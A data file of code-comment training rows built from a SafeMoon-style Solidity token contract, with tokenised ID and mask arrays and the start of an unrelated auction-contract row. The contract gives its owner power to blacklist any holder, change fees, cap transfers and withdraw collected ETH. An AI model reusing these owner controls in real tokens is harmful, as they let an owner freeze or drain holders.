_isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
_blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));
_isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
_blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));
_isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
_blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));
_isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
_blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));
_isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
_blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));
_isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
_blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));
_isBlackListedBot[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true;
_blackListedBots.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7));
_isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
_blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
_isBlackListedBot[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
_blackListedBots.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d));
_isBlackListedBot[address(0x000000000000084e91743124a982076C59f10084)] = true;
_blackListedBots.push(address(0x000000000000084e91743124a982076C59f10084));
_isBlackListedBot[address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)] = true;
_blackListedBots.push(address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303));
_isBlackListedBot[address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)] = true;
_blackListedBots.push(address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595));
_isBlackListedBot[address(0x000000005804B22091aa9830E50459A15E7C9241)] = true;
_blackListedBots.push(address(0x000000005804B22091aa9830E50459A15E7C9241));
_isBlackListedBot[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true;
_blackListedBots.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553));
_isBlackListedBot[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true;
_blackListedBots.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD));
_isBlackListedBot[address(0x0000000000007673393729D5618DC555FD13f9aA)] = true;
_blackListedBots.push(address(0x0000000000007673393729D5618DC555FD13f9aA));
_isBlackListedBot[address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)] = true;
_blackListedBots.push(address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1));
_isBlackListedBot[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true;
_blackListedBots.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6));
_isBlackListedBot[address(0x000000917de6037d52b1F0a306eeCD208405f7cd)] = true;
_blackListedBots.push(address(0x000000917de6037d52b1F0a306eeCD208405f7cd));
_isBlackListedBot[address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)] = true;
_blackListedBots.push(address(0x7100e690554B1c2FD01E8648db88bE235C1E6514));
_isBlackListedBot[address(0x72b30cDc1583224381132D379A052A6B10725415)] = true;
_blackListedBots.push(address(0x72b30cDc1583224381132D379A052A6B10725415));
_isBlackListedBot[address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)] = true;
_blackListedBots.push(address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE));
_isBlackListedBot[address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)] = true;
_blackListedBots.push(address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)] = true;
_blackListedBots.push(address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9));
_isBlackListedBot[address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)] = true;
_blackListedBots.push(address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7));
_isBlackListedBot[address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)] = true;
_blackListedBots.push(address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF));
_isBlackListedBot[address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)] = true;
_blackListedBots.push(address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290));
_isBlackListedBot[address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)] = true;
_blackListedBots.push(address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)] = true;
_blackListedBots.push(address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7));
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function isBlackListed(address account) public view returns (bool) {
return _isBlackListedBot[account];
}
function setExcludeFromFee(address account, bool excluded) external onlyOwner() {
_isExcludedFromFee[account] = excluded;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function addBotToBlackList(address account) external onlyOwner() {
require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not blacklist Uniswap router.');
require(!_isBlackListedBot[account], "Account is already blacklisted");
_isBlackListedBot[account] = true;
_blackListedBots.push(account);
}
function removeBotFromBlackList(address account) external onlyOwner() {
require(_isBlackListedBot[account], "Account is not blacklisted");
for (uint256 i = 0; i < _blackListedBots.length; i++) {
if (_blackListedBots[i] == account) {
_blackListedBots[i] = _blackListedBots[_blackListedBots.length - 1];
_isBlackListedBot[account] = false;
_blackListedBots.pop();
break;
}
}
}
function removeAllFee() private {
if(_taxFee == 0 && _charityFee == 0) return;
_previousTaxFee = _taxFee;
_previousCharityFee = _charityFee;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_charityFee = _previousCharityFee;
}
function isExcludedFromFee(address account) public view returns(bool) {
return _isExcludedFromFee[account];
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
_maxTxAmount = _tTotal.mul(maxTxPercent).div(
10**2
);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBlackListedBot[recipient], "You have no power here!");
require(!_isBlackListedBot[msg.sender], "You have no power here!");
if(sender != owner() && recipient != owner())
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
// is the token balance of this contract address over the min number of
// tokens that we need to initiate a swap?
// also, don't get caught in a circular charity event.
// also, don't swap if sender is uniswap pair.
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCharity;
if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) {
// We need to swap the current tokens to ETH and send to the charity wallet
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToCharity(address(this).balance);
}
}
//indicates if fee should be deducted from transfer
bool takeFee = true;
//if any account belongs to _isExcludedFromFee account then remove the fee
if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){
takeFee = false;
}
//transfer amount, it will take tax and charity fee
_tokenTransfer(sender,recipient,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function sendETHToCharity(uint256 amount) private {
_charityWalletAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
// We are exposing these functions to be able to manual swap and send
// in case the token is highly valued and 5M becomes too much
function manualSwap() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external onlyOwner() {
uint256 contractETHBalance = address(this).balance;
sendETHToCharity(contractETHBalance);
}
function setSwapEnabled(bool enabled) external onlyOwner(){
swapEnabled = enabled;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rCharity);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
//to recieve ETH from uniswapV2Router when swaping
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) = _getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 charityFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tCharity = tAmount.mul(charityFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() private view returns(uint256) {
return _taxFee;
}
function _getMaxTxAmount() private view returns(uint256) {
return _maxTxAmount;
}
function _getETHBalance() public view returns(uint256 balance) {
return address(this).balance;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10');
_taxFee = taxFee;
}
function _setCharityFee(uint256 charityFee) external onlyOwner() {
require(charityFee >= 1 && charityFee <= 11, 'charityFee should be in 1 - 11');
_charityFee = charityFee;
}
function _setCharityWallet(address payable charityWalletAddress) external onlyOwner() {
_charityWalletAddress = charityWalletAddress;
}
} | Create a uniswap pair for this new token set the rest of the contract variables Exclude owner and this contract from fee | constructor (address payable charityWalletAddress, address payable marketingWalletAddress) public {
_charityWalletAddress = charityWalletAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isBlackListedBot[address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce)] = true;
_blackListedBots.push(address(0xE031b36b53E53a292a20c5F08fd1658CDdf74fce));
_isBlackListedBot[address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345)] = true;
_blackListedBots.push(address(0xe516bDeE55b0b4e9bAcaF6285130De15589B1345));
_isBlackListedBot[address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b)] = true;
_blackListedBots.push(address(0xa1ceC245c456dD1bd9F2815a6955fEf44Eb4191b));
_isBlackListedBot[address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95)] = true;
_blackListedBots.push(address(0xd7d3EE77D35D0a56F91542D4905b1a2b1CD7cF95));
_isBlackListedBot[address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964)] = true;
_blackListedBots.push(address(0xFe76f05dc59fEC04184fA0245AD0C3CF9a57b964));
_isBlackListedBot[address(0xDC81a3450817A58D00f45C86d0368290088db848)] = true;
_blackListedBots.push(address(0xDC81a3450817A58D00f45C86d0368290088db848));
_isBlackListedBot[address(0x45fD07C63e5c316540F14b2002B085aEE78E3881)] = true;
_blackListedBots.push(address(0x45fD07C63e5c316540F14b2002B085aEE78E3881));
_isBlackListedBot[address(0x27F9Adb26D532a41D97e00206114e429ad58c679)] = true;
_blackListedBots.push(address(0x27F9Adb26D532a41D97e00206114e429ad58c679));
_isBlackListedBot[address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7)] = true;
_blackListedBots.push(address(0x9282dc5c422FA91Ff2F6fF3a0b45B7BF97CF78E7));
_isBlackListedBot[address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533)] = true;
_blackListedBots.push(address(0xfad95B6089c53A0D1d861eabFaadd8901b0F8533));
_isBlackListedBot[address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d)] = true;
_blackListedBots.push(address(0x1d6E8BAC6EA3730825bde4B005ed7B2B39A2932d));
_isBlackListedBot[address(0x000000000000084e91743124a982076C59f10084)] = true;
_blackListedBots.push(address(0x000000000000084e91743124a982076C59f10084));
_isBlackListedBot[address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303)] = true;
_blackListedBots.push(address(0x6dA4bEa09C3aA0761b09b19837D9105a52254303));
_isBlackListedBot[address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595)] = true;
_blackListedBots.push(address(0x323b7F37d382A68B0195b873aF17CeA5B67cd595));
_isBlackListedBot[address(0x000000005804B22091aa9830E50459A15E7C9241)] = true;
_blackListedBots.push(address(0x000000005804B22091aa9830E50459A15E7C9241));
_isBlackListedBot[address(0xA3b0e79935815730d942A444A84d4Bd14A339553)] = true;
_blackListedBots.push(address(0xA3b0e79935815730d942A444A84d4Bd14A339553));
_isBlackListedBot[address(0xf6da21E95D74767009acCB145b96897aC3630BaD)] = true;
_blackListedBots.push(address(0xf6da21E95D74767009acCB145b96897aC3630BaD));
_isBlackListedBot[address(0x0000000000007673393729D5618DC555FD13f9aA)] = true;
_blackListedBots.push(address(0x0000000000007673393729D5618DC555FD13f9aA));
_isBlackListedBot[address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1)] = true;
_blackListedBots.push(address(0x00000000000003441d59DdE9A90BFfb1CD3fABf1));
_isBlackListedBot[address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6)] = true;
_blackListedBots.push(address(0x59903993Ae67Bf48F10832E9BE28935FEE04d6F6));
_isBlackListedBot[address(0x000000917de6037d52b1F0a306eeCD208405f7cd)] = true;
_blackListedBots.push(address(0x000000917de6037d52b1F0a306eeCD208405f7cd));
_isBlackListedBot[address(0x7100e690554B1c2FD01E8648db88bE235C1E6514)] = true;
_blackListedBots.push(address(0x7100e690554B1c2FD01E8648db88bE235C1E6514));
_isBlackListedBot[address(0x72b30cDc1583224381132D379A052A6B10725415)] = true;
_blackListedBots.push(address(0x72b30cDc1583224381132D379A052A6B10725415));
_isBlackListedBot[address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE)] = true;
_blackListedBots.push(address(0x9eDD647D7d6Eceae6bB61D7785Ef66c5055A9bEE));
_isBlackListedBot[address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F)] = true;
_blackListedBots.push(address(0xfe9d99ef02E905127239E85A611c29ad32c31c2F));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9)] = true;
_blackListedBots.push(address(0xc496D84215d5018f6F53E7F6f12E45c9b5e8e8A9));
_isBlackListedBot[address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7)] = true;
_blackListedBots.push(address(0x59341Bc6b4f3Ace878574b05914f43309dd678c7));
_isBlackListedBot[address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF)] = true;
_blackListedBots.push(address(0xe986d48EfeE9ec1B8F66CD0b0aE8e3D18F091bDF));
_isBlackListedBot[address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290)] = true;
_blackListedBots.push(address(0x4aEB32e16DcaC00B092596ADc6CD4955EfdEE290));
_isBlackListedBot[address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5)] = true;
_blackListedBots.push(address(0x136F4B5b6A306091b280E3F251fa0E21b1280Cd5));
_isBlackListedBot[address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b)] = true;
_blackListedBots.push(address(0x39608b6f20704889C51C0Ae28b1FCA8F36A5239b));
_isBlackListedBot[address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7)] = true;
_blackListedBots.push(address(0x5B83A351500B631cc2a20a665ee17f0dC66e3dB7));
emit Transfer(address(0), _msgSender(), _tTotal);
}
| 78,194 | [
1,
1684,
279,
640,
291,
91,
438,
3082,
364,
333,
394,
1147,
444,
326,
3127,
434,
326,
6835,
3152,
20760,
3410,
471,
333,
6835,
628,
14036,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
3639,
3885,
261,
2867,
8843,
429,
1149,
560,
16936,
1887,
16,
1758,
8843,
429,
13667,
310,
16936,
1887,
13,
1071,
288,
203,
5411,
389,
3001,
560,
16936,
1887,
273,
1149,
560,
16936,
1887,
31,
203,
5411,
389,
3355,
21747,
16936,
1887,
273,
13667,
310,
16936,
1887,
31,
203,
5411,
389,
86,
5460,
329,
63,
67,
3576,
12021,
1435,
65,
273,
389,
86,
5269,
31,
203,
203,
5411,
640,
291,
91,
438,
58,
22,
4154,
273,
467,
984,
291,
91,
438,
58,
22,
1733,
24899,
318,
291,
91,
438,
58,
22,
8259,
18,
6848,
10756,
203,
7734,
263,
2640,
4154,
12,
2867,
12,
2211,
3631,
389,
318,
291,
91,
438,
58,
22,
8259,
18,
59,
1584,
44,
10663,
203,
203,
5411,
640,
291,
91,
438,
58,
22,
8259,
273,
389,
318,
291,
91,
438,
58,
22,
8259,
31,
203,
203,
5411,
389,
291,
16461,
1265,
14667,
63,
8443,
1435,
65,
273,
638,
31,
203,
5411,
389,
291,
16461,
1265,
14667,
63,
2867,
12,
2211,
25887,
273,
638,
31,
203,
2398,
203,
5411,
389,
291,
13155,
682,
329,
6522,
63,
2867,
12,
20,
17432,
4630,
21,
70,
5718,
70,
8643,
41,
8643,
69,
5540,
22,
69,
3462,
71,
25,
42,
6840,
8313,
2313,
8204,
10160,
2180,
5608,
74,
311,
25887,
273,
638,
31,
203,
5411,
389,
11223,
682,
329,
6522,
87,
18,
6206,
12,
2867,
12,
20,
17432,
4630,
21,
70,
5718,
70,
8643,
41,
8643,
69,
5540,
22,
69,
3462,
71,
25,
42,
6840,
8313,
2313,
8204,
10160,
2180,
5608,
74,
311,
10019,
203,
377,
2
] |
./partial_match/1/0xc9268c7F59850B26567b0f5d3Dcc317cEDC43490/sources/src/contracts/SlippageAuction.sol | @notice The ```swapTokensForExactTokens``` function receives an exact amount of output tokens for as few input tokens as possible @dev Must have an allowance on the BUY_TOKEN prior to invocation @param _amountOut The amount of sell tokens to receive @param _amountInMax The maximum amount of buy tokens that can be required before the transaction reverts @param _ignored Ignored parameter, necessary to adhere to uniV2 interface @param _to Recipient of the output tokens @param _deadline Unix timestamp after which the transaction will revert @return _amounts The input token amount and output token amount Ensure deadline has not passed Calculate the amount of buyTokens in & check invariant Interactions: Transfer buyTokens to the contract Set return variable | function swapTokensForExactTokens(
uint256 _amountOut,
uint256 _amountInMax,
address[] calldata _ignored,
address _to,
uint256 _deadline
) external returns (uint256[] memory _amounts) {
if (block.timestamp > _deadline) revert Expired();
_amounts = new uint256[](2);
_amounts[0] = _amountIn;
_amounts[1] = _amountOut;
}
uint256 auctionNumber,
address buyToken,
address sellToken,
uint128 amountIn,
uint128 amountOut,
uint128 lastPrice,
uint128 slippagePerSellToken
);
address indexed sender,
uint256 amount0In,
uint256 amount1In,
uint256 amount0Out,
uint256 amount1Out,
address indexed to
);
uint256 auctionNumber,
uint128 sellAmount,
uint128 startPrice,
uint128 minPrice,
uint128 priceDecay,
uint128 priceSlippage,
uint32 expiry
);
| 15,952,521 | [
1,
1986,
31621,
22270,
5157,
1290,
14332,
5157,
10335,
68,
445,
17024,
392,
5565,
3844,
434,
876,
2430,
364,
487,
11315,
810,
2430,
487,
3323,
225,
6753,
1240,
392,
1699,
1359,
603,
326,
10937,
61,
67,
8412,
6432,
358,
9495,
225,
389,
8949,
1182,
1021,
3844,
434,
357,
80,
2430,
358,
6798,
225,
389,
8949,
382,
2747,
1021,
4207,
3844,
434,
30143,
2430,
716,
848,
506,
1931,
1865,
326,
2492,
15226,
87,
225,
389,
24055,
8049,
72,
1569,
16,
4573,
358,
1261,
14852,
358,
7738,
58,
22,
1560,
225,
389,
869,
23550,
434,
326,
876,
2430,
225,
389,
22097,
1369,
9480,
2858,
1839,
1492,
326,
2492,
903,
15226,
327,
389,
8949,
87,
1021,
810,
1147,
3844,
471,
876,
1147,
3844,
7693,
14096,
711,
486,
2275,
9029,
326,
3844,
434,
30143,
5157,
316,
473,
866,
22514,
5294,
4905,
30,
12279,
30143,
5157,
358,
326,
6835,
1000,
327,
2190,
2,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
